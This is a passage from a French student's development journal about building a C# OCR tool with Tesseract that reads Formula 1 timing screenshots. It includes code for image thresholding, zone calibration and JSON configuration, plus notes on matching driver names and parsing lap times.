methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite ( Bitmap inputBmp ) { const int BLACK_TO_WHITE_TRESHOLD = 200 ; Bitmap result = new Bitmap ( inputBmp . Width , inputBmp . Height ); for ( int y = 0 ; y < inputBmp . Height ; y ++) { for ( int x = 0 ; x < inputBmp . Width ; x ++) { Color pixelColor = inputBmp . GetPixel ( x , y ); if ( pixelColor . R <= BLACK_TO_WHITE_TRESHOLD && pixelColor . G <= BLACK_TO_WHITE_TRESHOLD && pixelColor . B <= BLACK_TO_WHITE_TRESHOLD ) { pixelColor = Color . FromArgb ( 0 , 0 , 0 ); } else { pixelColor = Color . FromArgb ( 255 , 255 , 255 ); } result . SetPixel ( x , y , pixelColor ); } } return result ; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus. Lundi 3 Avril Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage ; private List < Zone > Zones ; private List < Window > Windows ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Zone ( Image fullImage , Rectangle bounds ) { FullImage = ( Bitmap ) fullImage ; Init ( bounds ); } public Zone ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Init ( bounds ); } private void Init ( Rectangle bounds ) { Bounds = bounds ; Zones = new List < Zone >(); Windows = new List < Window >(); } public void AddZone ( Rectangle bounds ) { if ( Fits ( bounds )) Zones . Add ( new Zone ( ZoneImage , bounds )); } public void AddWindow ( Rectangle bounds ) { if ( Fits ( bounds )) Windows . Add ( new Window ( ZoneImage , bounds )); } private bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace OCR_tester { public class Window { private Bitmap FullImage ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Window ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Bounds = bounds ; } public virtual void RecoverInformations () { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); Zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . tessDataFolder . FullName , \"eng\" , EngineMode . Default ); Image image = ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); Zones . Add ( new Zone ( ZoneImage , windowRectangle )); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning. Mardi 4 Avril Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\" :{ \"x\" : 10 , \"y\" : 20 , \"width\" : 1450 , \"height\" : 1340 , \"DriverZone\" :{ \"x\" : 0 , \"y\" : 23 , \"height\" : 25 , \"Windows\" :[ { \"DriverPositionWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 35 } }, { \"DriverPositionChangesWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\" : { \"x\" : 40 , \"y\" : 230 , \"width\" : 1845 , \"height\" : 719 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : 3 , \"width\" : 1845 , \"height\" : 35 , \"Windows\" : [ { \"Position\" : { \"x\" : 2 , \"y\" : 0 , \"width\" : 32 }, \"GapToLeader\" : { \"x\" : 204 , \"y\" : 0 , \"width\" : 96 }, \"LapTime\" : { \"x\" : 413 , \"y\" : 0 , \"width\" : 105 }, \"Drs\" : { \"x\" : 526 , \"y\" : 0 , \"width\" : 81 }, e t c... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\" : { \"x\" : 37 , \"y\" : 238 , \"width\" : 1851 , \"height\" : 713 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -5 , \"width\" : 1851 , \"height\" : 35 } } ] }, \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , e t c... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive. Mercredi 5 Avril Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Hamilton\" , \"Alonso\" , \"Russel\" , \"Gasly\" , \"Stroll\" , \"Sainz\" , \"Hulkenberg\" , \"Norris\" , \"Tsunoda\" , \"Piastri\" , \"Zhou\" , \"Ocon\" , \"Magnussen\" , \"Perez\" , \"Sargeant\" , \"De Vries\" , \"Bottas\" , \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Sainz\" , \"Perez\" , \"Hamilton\" , \"Russel\" , \"Magnussen\" , \"Gasly\" , \"Ocon\" , \"Alonso\" , \"Tsunoda\" , \"Bottas\" , \"Zhou\" , \"Albon\" , \"Stroll\" , \"Schumacher\" , \"Hulkenberg\" , \"Norris\" , \"Latifi\" , \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine. Jeudi 6 Avril Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca 